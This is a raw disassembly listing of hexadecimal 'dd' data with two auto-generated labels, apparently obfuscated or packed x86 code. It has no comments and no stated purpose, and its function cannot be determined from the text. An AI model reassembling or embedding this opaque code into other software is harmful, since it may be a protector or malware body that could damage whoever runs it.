		dd 8966C356h, 0E92B2DB5h, 106C707h, 6A000100h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0EE66C355h, 0BDA29BFCh, 0B257DA5h, 14E950h, 739D0000h
		dd 6F7F8CBDh, 2EFAD41Eh, 0CBA4D002h, 0A5A7C958h, 3489A51Fh
		dd 39958924h, 0FF07E913h, 0ECD785B5h, 9701BF07h, 95FF3C97h
		dd 7E91AB1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0FAC35343h, 0A569CD28h,	0F26EC261h, 0D779B58Bh
		dd 6A07ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 934341C3h, 0D7ADAAB4h, 1C35BD8Bh,	8B6607E9h
		dd 49858BDEh, 6A07E924h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0F091C351h,	699AFA68h
		dd 8BB98074h, 0E92381BDh, 0C4868907h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0BB4C355h, 0E9017D9Dh, 5DB53107h, 8B07E92Ah,	0E9320D95h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 952937D0h, 7E90C59h, 6A04C283h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 87FBC356h, 3E622A3h,	8C0F52F1h, 2, 895B6160h, 6A2050h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0A900ADC3h, 50E6710Bh, 49858969h, 8D07E902h,	0ECECA185h
		dd 799D8B07h, 8907E92Fh, 0B886h, 0E9006A00h, 9,	208045DCh
		dd 2782C1BEh, 14E967h, 0A7480000h, 8824407Ah, 73B6C16Ah
		dd 6763C9ACh, 8BB8647h,	0B5FFC3B8h, 7ECD785h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0EEC35343h, 3751D61Bh
		dd 0FF533126h, 0E902CD95h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 33F4FE44h
		dd 0E92015BDh, 52505007h
		dd 8E0F53h, 5B000000h, 8B66310Fh, 89585AF8h, 0E3802434h
		dd 85B5FF37h, 6A07ECD7h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0A9A5C352h,	0BAD331A6h
		dd 0FDB7A77Bh, 0B7D8509h, 9D8B07E9h, 7E924F1h, 302D95FFh
		dd 852907E9h, 7E91885h,	1EC9BD83h, 0F0007E9h, 5184h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 4C13B1E7h, 62B365D2h, 0EEBB667Dh, 70BF96F6h,	506A7CD4h
		dd 2AAEC8BFh, 6A966Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0B5FF2AC3h, 7ECD785h, 0FFC4EF80h
		dd 0E91F9D95h, 0CE807h,	1B680000h, 1F0DA8D8h, 0CB883B5Dh
		dd 5FF8B2DCh, 0D785B5FFh, 6A07ECh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 8B96BDC3h, 98D1CF35h
		dd 29E053F6h, 0E92015BDh, 3995FF07h, 907E901h, 0E9119195h
		dd 0CDBD8307h, 207E929h, 42840Fh, 0FE90000h, 7B000000h
		dd 7B0DAC17h, 1E4E0A60h, 0AC5A3765h, 858BFB46h,	7E90875h
		dd 11758D89h, 0C607E9h,	51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0DE8B6DA0h, 24AD85C7h
		dd 7E9h, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 1D0424h, 51410000h, 0FB35EFC3h, 43DC0ABEh, 5258443Ch
		dd 3EFEBFh, 71E95F1Dh, 23FFFFF4h, 0E90C91BDh, 60C18B07h
		dd 1AD99D89h, 0B76107E9h, 61858D98h, 8B07E908h,	0E92B71BDh
		dd 66509007h, 5B2B93BFh, 90FB8B50h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0E3C35040h,	1E6A4F86h, 8B66A2E9h
		dd 89006AD9h, 0E91BE995h, 6A006A07h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 7AA0C357h
		dd 750089B3h, 0F87DB51Fh, 0CD20858Dh, 6A07EDh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0AC56BDC3h, 0E085BD42h, 5C08347h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 20C35545h, 0E88CB8ABh, 0CE9C9h
		dd 0B0FB0000h, 433F3F8Bh, 6309A631h, 0F90BE27h,	889h, 2830F00h
		dd 8B000000h, 0F9050F9h, 1384h,	0EE900h, 8B1B0000h, 5C339578h
		dd 0FF42A668h, 0B64D66D2h, 3555BD09h, 6A07E9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 6C35343h, 0CB444D5Ch
		dd 0C6C38166h, 0F006A50h, 0C83h, 68D0F00h, 8B000000h, 0E901B99Dh
		dd 0B995FF07h, 6607E90Fh, 8DA76DBBh, 0ECD72C8Dh, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0FFFC003Ah, 56006AD1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0A188E149h, 10E6B1B0h
		dd 8D89238Eh, 7E91AD9h,	1B69BD83h, 0F0107E9h, 0A185h, 25B58900h
		dd 6A07E92Bh, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 40982B1Eh, 0BE912h, 9EB50000h, 93245990h
		dd 8A4C4B87h, 6EBB90C1h, 505786BEh, 1A830F50h, 0E8000000h
		dd 14h,	0CB8056B9h, 0BB4E91D4h,	0F810A070h, 205A4312h
		dd 3624B688h, 0F905B5Bh, 68Dh, 0B1E78100h, 0FF77ACF5h
		dd 0E902CD95h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BE97AFBh, 2A000000h
		dd 0A50E58h, 0E7074D71h, 74E95AE8h, 0E800000Dh,	0
aBaAJ		db ']í*Íí',7,'j',0
		db 51h,	0E8h, 3
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 2FE3C351h, 5870A39Dh, 5B62D9B4h, 0BF18D31h, 0F98B07E9h
		dd 0B406858Dh, 6A07ECh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0F98412C3h, 0E90941A6h, 13h, 2B6D59FBh
		dd 19BBFD81h, 0E3AC4D54h, 1327BE0Eh, 908CBA6Ah,	0B5899050h
		dd 7E92AFDh, 35FF64h, 66000000h, 64F088BBh, 2589h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 129B8CC3h, 84B8F374h, 159D0B6Fh, 0FF07E923h,	0E90F9D85h
		dd 0D3EF8007h, 8D89FF6Ah, 7E91885h, 1F55B5FFh, 6A07E9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 21C15C3h, 30F3D66h, 0E8F3C381h, 95FF621Ah, 7E9233Dh
		dd 0E8E9h, 0E800B000h, 0Eh, 2CC99F82h, 38EF120Ch, 0CBB0BB8Eh
		dd 66607524h, 61A1AFBFh, 8170E65Fh, 334499E7h, 8B71E45Ch
		dd 3CFB8BFEh, 0B6830F61h, 1000000h, 0E91341B5h,	0C8B60F07h
		dd 0A37DBF66h, 6BAh, 0EAE78100h, 8B28F331h, 0E90FADBDh
		dd 0F5C18B07h, 0FC04E8C1h, 66E2F766h, 9F06EB81h, 0B589C82Bh
		dd 7E91E19h, 0D18BFB8Bh, 229D9D8Bh, 0AE907E9h, 60000000h
		dd 66F8BF0Fh, 0B2B4E981h, 0C9858B61h, 8B07E917h, 7C083DFh
		dd 5E9h, 10E6B100h, 0C083238Eh,	59BD8B00h, 3B07E931h, 0B830FD0h
		dd 66000000h, 7106D381h, 38E9h,	8D8BF800h, 7E91911h, 231D9D8Bh
		dd 0E18307E9h, 22840F01h, 89000000h, 0E92681B5h, 11A58307h
		dd 0FE07E919h, 0DA8BFC8Ah, 17C99589h, 8D2907E9h, 7E90AADh
		dd 0E9h, 84B58D00h, 0F07ED38h, 689h, 0EDBD8900h, 6A07E902h
		dd 0BD9D8B00h, 0FF07E907h, 0E90C3195h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 2C140B66h, 0B95BBFA9h, 819h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0A5C35747h,	0E9396BD6h, 0BD89243Bh
		dd 7E911FDh, 0E183FE8Bh, 0D88B66FCh, 57006AFCh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 1B5FBDAh, 6DB3C115h
		dd 0D5D7D381h, 0C02B7A55h, 8D895060h, 7E92975h,	0C6816659h
		dd 2B617BB1h, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 33791A93h, 0B89965E0h, 33AD4AFAh
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 3E2379C3h, 0DF816650h
		dd 8A5B268Dh, 880DF9h, 0B70F0000h, 0D958BDAh, 6A07E932h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B01C352h, 0E922E58Dh, 51006A07h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 28879AE0h
		dd 31D60C30h, 0E911758Dh, 0D8BF6607h, 0C28B5062h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 2533C353h
		dd 299B5921h, 0F869DFF3h, 1C2DBD83h, 0F0007E9h,	0BB84h
		dd 85858900h, 0E807E91Fh, 7, 67C5BB79h,	8BB46C89h, 0E92C759Dh
		dd 0B85B07h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0E3ECC357h,	2D4CC4CEh
		dd 5A8D8DA7h, 6A07E94Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 65ADC351h, 0BFA83A84h
		dd 48A4BA80h, 2D858960h, 0E807E924h, 8,	6D5F351Bh, 4F19C4E1h
		dd 11E9h, 68103000h, 0C956C01Ah, 44DF7865h, 563153DDh
		dd 615B37C8h, 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 850F5BC3h, 0
aGS_0		db 'ƒ½±"é',7,0
		db 0Fh
		dd 4BB84h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 6D9D896Ah, 8307E90Ch, 0E922B1BDh
		dd 840F0107h, 4A7h, 6E9h, 0C463700h, 837F3C8Ch,	0E922B1BDh
		dd 860F0307h, 459h, 6810F60h, 89000000h, 0E909098Dh, 35BA6607h
		dd 6A6061E9h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 52C5C351h, 9AB96B56h, 0CF816676h
		dd 0BB66B27Ah, 8C66DD21h, 0AE8D9h, 9DE50000h, 0BEFFFED1h
		dd 53CD9A26h, 20819589h, 665B07E9h, 0E180DE8Bh,	51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0A2EAE259h, 0BFC8CF36h, 6C51DA82h, 840FC90Ah, 154h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F4C35747h
		dd 95F1A21h, 0E92B25BDh, 55858B07h, 6A07E90Ch, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0D2CCC356h, 5E8h, 8465AD00h,	7E9A83Ah, 71000000h, 8CBFC48Fh
		dd 335F40C1h, 0E91CE985h, 6850F07h, 89000000h, 0E924E9B5h
		dd 0BB669007h, 0E9503C4Eh, 0Ch,	35504231h, 0B8BE3986h
		dd 0B92D3A9h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 1D7E5D08h, 0BBD1FE6Bh, 4C1E3816h
		dd 0E8F9006Ah, 4, 1F03FFh, 24448B50h, 8BF98B04h, 6E900h
		dd 0A8510000h, 0CE45AABCh, 4244489h, 0DE8h, 5B743A00h
		dd 0D093DF5Dh, 1542944Fh, 8B663804h, 81585BD8h,	368B74E7h
		dd 0D995FF41h, 6A07E902h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 249DC351h, 7ED78017h
		dd 2D18589h, 858907E9h,	7ECD785h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 31C35343h, 8B7BB38Ch, 0E93165BDh
		dd 1EAE907h, 9D8B0000h,	7E90F1Dh, 0D77D858Bh, 6A07ECh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0FE9ABC3h, 58000000h, 0F281665Eh, 6BD1809Ch,	6EE34C52h
		dd 0C73561h, 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	0C9C35040h, 3518A3Ch, 31B36F0Ah, 0E9216D95h, 81B58B07h
		dd 6607ECD7h, 0BB3CE0BFh, 62E98D99h, 1859858Bh,	8B6607E9h
		dd 999509FEh, 8907E91Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 858B66D2h, 7E90C55h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 4AC35545h, 9026A47Dh
		dd 89829531h, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0BD89AAC3h, 7E93139h, 89FE8B50h
		dd 8B662434h, 7DB5FFF9h, 0F07ECD7h, 0C8Eh, 7E900h, 0F5280000h
		dd 945ACF78h, 4E82Fh, 3FF0000h,	8B50001Fh, 24448BD8h, 50008B04h
		dd 0F616052h, 12B6BB31h, 585A28D4h, 4244489h, 5058F88Bh
		dd 3541BD8Bh, 8D5B07E9h, 0ECD78585h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 88167643h
		dd 1DBD895Ch, 5007E922h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0D740C351h
		dd 0C1C1EF91h, 1C8274A3h, 1A6DB589h, 95FF07E9h,	7E902D9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0CEC35242h
		dd 0C9936610h, 14E898h,	12130000h, 9851711Ch, 815E8D76h
		dd 0A2E771BAh, 0BC3EC211h, 810F14E0h, 3, 5BD8B70Fh, 48C0F61h
		dd 66000000h, 0C7BDC7BFh, 0E922B185h, 307h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 95A95276h, 0A6809BEAh, 0B70F3F6Ah, 85BD83F9h, 7ECD7h
		dd 4B840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 70F510C3h, 988E779Ah, 3EE90Dh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8BB027C3h, 0E92B35BDh, 0C305007h, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 919D8960h, 8907E92Eh, 0E92A8D8Dh
		dd 0BD836107h, 7E922B1h, 0CB850F03h, 6A000003h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 89C8C351h, 0E921E5BDh, 8BF56007h, 0E9344985h, 0BD836107h
		dd 7ECD785h, 93840F00h,	6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 9839C350h
		dd 0FF9DB3CEh, 0ECD785B5h, 0FFDA8A07h, 0E9134995h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0D3CD1A7Fh, 0A9F6FE36h, 0B5BD2Bh, 0B58B07E9h, 7ECD779h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2AC35545h
		dd 776DED50h, 9E6C6BBBh, 106C7h, 8B960001h, 5F5350DFh
		dd 6880F96h, 8B000000h,	0E92FE9BDh, 41B58907h, 0FF07E92Eh
		dd 0ECD785B5h, 0EDDB8007h, 1AB195FFh, 6A07E9h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0D67487C3h, 0FB8B98E4h, 0D779B58Bh, 9D8B07ECh, 7E916D5h
		dd 2449858Bh, 6A07E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0E24EC6C3h, 1E0A90D9h, 0CE9h, 0FE2D4D00h
		dd 259B1523h, 0F2E2D1D9h, 53CB81BFh, 89406531h,	0C486h
		dd 0EE900h, 0E8DC0000h,	416102F9h, 7B4BB4B2h, 0AB3B3636h
		dd 320D958Bh, 858907E9h, 7E90859h, 104C283h, 0E91F19B5h
		dd 20508907h, 1169B531h, 858D07E9h, 7ECECA1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0D0C35141h, 30515947h
		dd 0E5BB665Fh, 88BF6649h, 5BF856E4h, 0B88689h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 67489FC3h, 48D63052h, 60B1E864h, 0AE9h, 9C7F8300h, 0D75D639Fh
		dd 8B41F204h, 0E91A198Dh, 6A6107h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 84C35141h, 0C6C249FCh, 2B52F8D0h
		dd 0FF5B51FCh, 0ECD785B5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0B143BFE1h
		dd 89F2A397h, 0E925D58Dh, 11BD8B07h, 0FF07E91Bh, 0E902CD95h
		dd 0A1B58907h, 5007E90Fh, 0FD9BF66h, 60243489h,	0BD3147B4h
		dd 7E90961h, 85B5FF61h,	0F07ECD7h, 128Fh, 0AE86000h, 9D000000h
		dd 613DF831h, 36EBAFEAh, 0FF615AA6h, 0E9302D95h, 0D958907h
		dd 8307E90Fh, 0E91EC9BDh, 840F0007h, 45h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 8DC35545h, 8F06F149h
		dd 0AE99603h, 8F000000h, 7C6732E8h, 0A6B36913h,	0BB66506Bh
		dd 6096F016h, 3880Fh
		dd 0B70F0000h, 0CBB70FF6h, 85B5FF61h, 6A07ECD7h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0B449C356h, 29BF6658h, 9D95FF05h, 6A07E91Fh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0C5BFC353h, 0D10A6573h, 9D8918CDh, 7E90A2Dh,	0D785B5FFh
		dd 816607ECh, 0FFADDCDFh, 0E9013995h, 4FC38107h, 832EA6CBh
		dd 0E929CDBDh, 840F0207h, 4Ah, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0F7C35040h,	0FE2BC48Bh, 3CC1B091h
		dd 79DBD89h, 858B07E9h,	7E90875h, 0C6FCh, 11E9h, 0AC92DA00h
		dd 8A8435BEh, 25C916E9h, 1BB06BDFh, 85C72680h, 7E924ADh
		dd 0
		dd 265D9D8Bh, 85E907E9h, 6AFFFFF3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9B6FC352h
		dd 21BD8B97h, 8B07E901h, 9E9C1h, 0F9ED0000h, 4C81D9Dh
		dd 8DA38DCDh, 0E9086185h, 13E807h, 5D5A0000h, 3330B548h
		dd 5C448089h, 86F72B8Bh, 0C8D1DFEBh, 820FA8h, 5F000000h
		dd 66525090h, 0FC488BBh, 52506031h, 585A310Fh, 5A61D98Bh
		dd 0A6B75058h, 57006A90h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 7C082FE8h, 0B7006AA2h
		dd 0E8006ADBh, 12h, 0B5CA63D6h,	51E01F3Ah, 84299219h, 0C3F4D90Eh
		dd 4DBB5685h, 5F111BFDh, 845BD0Bh, 858D07E9h, 7EDDCFFh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 8EC35141h
		dd 0DFE50FAFh, 0DEE88B2Bh, 89D9509h, 0BD0107E9h, 7E90939h
		dd 6A05C083h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 8079C352h, 0FDCD74D4h,	25BFDE8Bh
		dd 502319B3h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0C348C357h,	0B70F82B9h
		dd 719D8BFBh, 6A07E925h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0A62B0C13h, 0F3810993h
		dd 5CA24C7Ch, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 2B001FC3h, 489AF781h, 95FF19F4h
		dd 7E90FB9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0FBC35141h, 45DF8112h, 0BB40974Ch, 49D82ADEh, 0D72C8D8Dh
		dd 958907ECh, 7E906FDh,	0DE8D1FFh, 7E000000h, 34695A62h
		dd 0F84D68E9h, 7D66C229h, 819D8960h, 8B07E92Ch,	0E91FA185h
		dd 835B6107h, 0E91B69BDh, 850F0107h, 99h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 0FCC35141h, 2362517Bh
		dd 8E9h, 9BE4E700h, 1876FDCAh, 0E9026A73h, 10h,	0CEE1D7D0h
		dd 0AB657A3Ah, 436DA10Fh, 0BFA7731Fh, 52506050h, 12E8h
		dd 0E18B8200h, 0CD5DD1BAh, 139AC44Ch, 0BD7A226Fh, 5E47620Dh
		dd 0A2B0310Fh, 8961585Ah, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 816699C3h, 8B5AD9EBh
		dd 0CD95FFFBh, 6607E902h, 0B797DFBFh, 0E45E93Dh, 0E80000h
		dd 5D000000h, 0DD09ED81h, 0BD8B07EDh, 7E93165h,	9E8h, 25DA2100h
		dd 0C943D7A2h, 860F2D68h, 2, 8D5F5F52h,	0ECB40685h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 864EE295h, 941881CCh, 249DBD8Bh, 535007E9h, 5E8h, 6B3BF600h
		dd 616068ECh, 4895F5Bh,	6413B324h, 35FFh, 9D890000h, 7E92EFDh
		dd 258964h, 8A000000h, 9D85FFD8h, 6A07E90Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 4FD2C351h, 5587CD06h, 89194710h, 0E9297DB5h,	8BFF6A07h
		dd 0E934C5BDh, 0D1B5FF07h, 6A07E912h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0A028C356h
		dd 705737D8h, 0AD54394Ch, 3D95FFF9h, 0E907E923h, 145h
		dd 5BFB8B57h, 8D0100B0h, 7E919D5h, 800F70E6h, 16h, 11E9h
		dd 7DADB00h, 0DBE0493Ah, 2FBADFEEh, 0F4A8D9CAh,	0E4F83980h
		dd 0E99D8B71h, 3C07E90Bh, 0A830F61h, 8B000001h,	0E91CDDBDh
		dd 0C8B60F07h, 0B9BD8960h, 8907E92Eh, 0E90A919Dh, 6BA6107h
		dd 0F000000h, 1784h, 12E900h, 2C0000h, 669D98FEh, 0FD793CC6h
		dd 8E84A9E3h, 1BB9CA0Fh, 0FE8C18Bh, 5C000000h, 79223CA1h
		dd 6E9B88EBh, 60D992E9h, 6BBEBB8h, 5F5B9CC6h, 8904E8C1h
		dd 0E919E58Dh, 0E2F76607h, 24719589h, 0C82B07E9h, 0D18BF98Bh
		dd 6E9F9h, 0B5890000h, 7E90A39h, 851858Bh, 8B6007E9h, 0E9265D85h
		dd 0F18B6607h, 7C08361h, 0AE59D8Bh, 0C08307E9h,	0C3816600h
		dd 0D03B91E7h, 25830Fh,	8D890000h, 7E91815h, 5CE9h, 0EE800h
		dd 70D20000h, 0D0170FF1h, 0E65B8723h, 0CBEDCEEAh, 2A298D01h
		dd 8B5B07E9h, 0E90C8D8Dh, 9B50107h, 8307E935h, 840F01E1h
		dd 2Dh,	2E9F59BFh, 8DA58375h, 0FE07E90Ch, 89D88B66h, 0E9085195h
		dd 0D59D8B07h, 0E907E909h, 8, 2B2D68C9h, 67E065C1h, 0E9h
		dd 0A7B58D00h, 6A07ED42h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 1C5DC352h, 600FA8CAh
		dd 6880Fh, 858B0000h, 7E90E29h,	2EB1BD89h, 6A6107E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 8E428F5Fh, 61C79BDh,	0FFF5F2B7h, 0E90C3195h,	53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 3DFF93BCh, 0D6B99B6Eh, 6A000007h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 6130C350h
		dd 21F5B589h, 0BD0B07E9h, 7E9124Dh, 6AFCE183h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 6654C353h, 3693D381h, 0C02BF9FCh, 6870Fh, 0BD890000h
		dd 7E922E1h, 0BAh, 33ADF800h, 3E8D1C2h,	4E983D0h, 0EE9F475h
		dd 50000000h, 5DB57F32h, 5669A89h, 21E4A52Ah, 0DBB666Ah
		dd 55006A75h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 2F86C39Fh, 880DE6h, 958B0000h, 7E9320Dh
		dd 2DC9BD8Bh, 8D8B07E9h, 7E922E5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0CC35040h, 48BF664Dh, 0C28B5024h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0E822C355h, 0B4EA040Fh, 0D8D89F8h, 8307E931h, 0E91C2DBDh
		dd 840F0007h, 0ABh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 5FC35747h, 7FA31218h,	0C22EBAFCh, 3317BB66h
		dd 11E9h, 9C286300h, 0BE151CD6h, 50234BFCh, 0A97FF60Ch
		dd 0B82C18h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 79CAC350h, 0A2EB203h
		dd 6890F60h, 89000000h,	0E92F1D85h, 0AE907h, 0C57D0000h
		dd 61AFC009h, 84FA0AA4h, 5A8D8D61h, 6A07E94Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0FFBAC351h, 999D29E1h, 8307E92Ch, 0E922B1BDh, 840F0007h
		dd 44Fh, 880Fh,	0BD830000h, 7E922B1h, 57840F01h, 6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0BD61C357h, 0F53F022h, 0BD83DAB7h, 7E922B1h
		dd 0F1860F03h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0D12AC357h,	480D736Dh
		dd 0D9D8D89h, 0F6007E9h, 68Ch, 0E5BD2B00h, 6607E90Ch, 6AD98Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 162391C3h, 1CDF0053h, 9D9D8BCCh, 8007E90Ch, 0AF904E1h
		dd 26840FC9h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0F927C350h, 0A9FD0FB7h, 0D5BD89EEh, 8B07E91Eh, 0E90C5585h
		dd 0BDBD3307h, 8907E916h, 0E91CD985h, 0E9853307h, 6A07E91Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0AFFFC350h, 6D4DA76h, 0B98AC34h, 8D89B2B7h
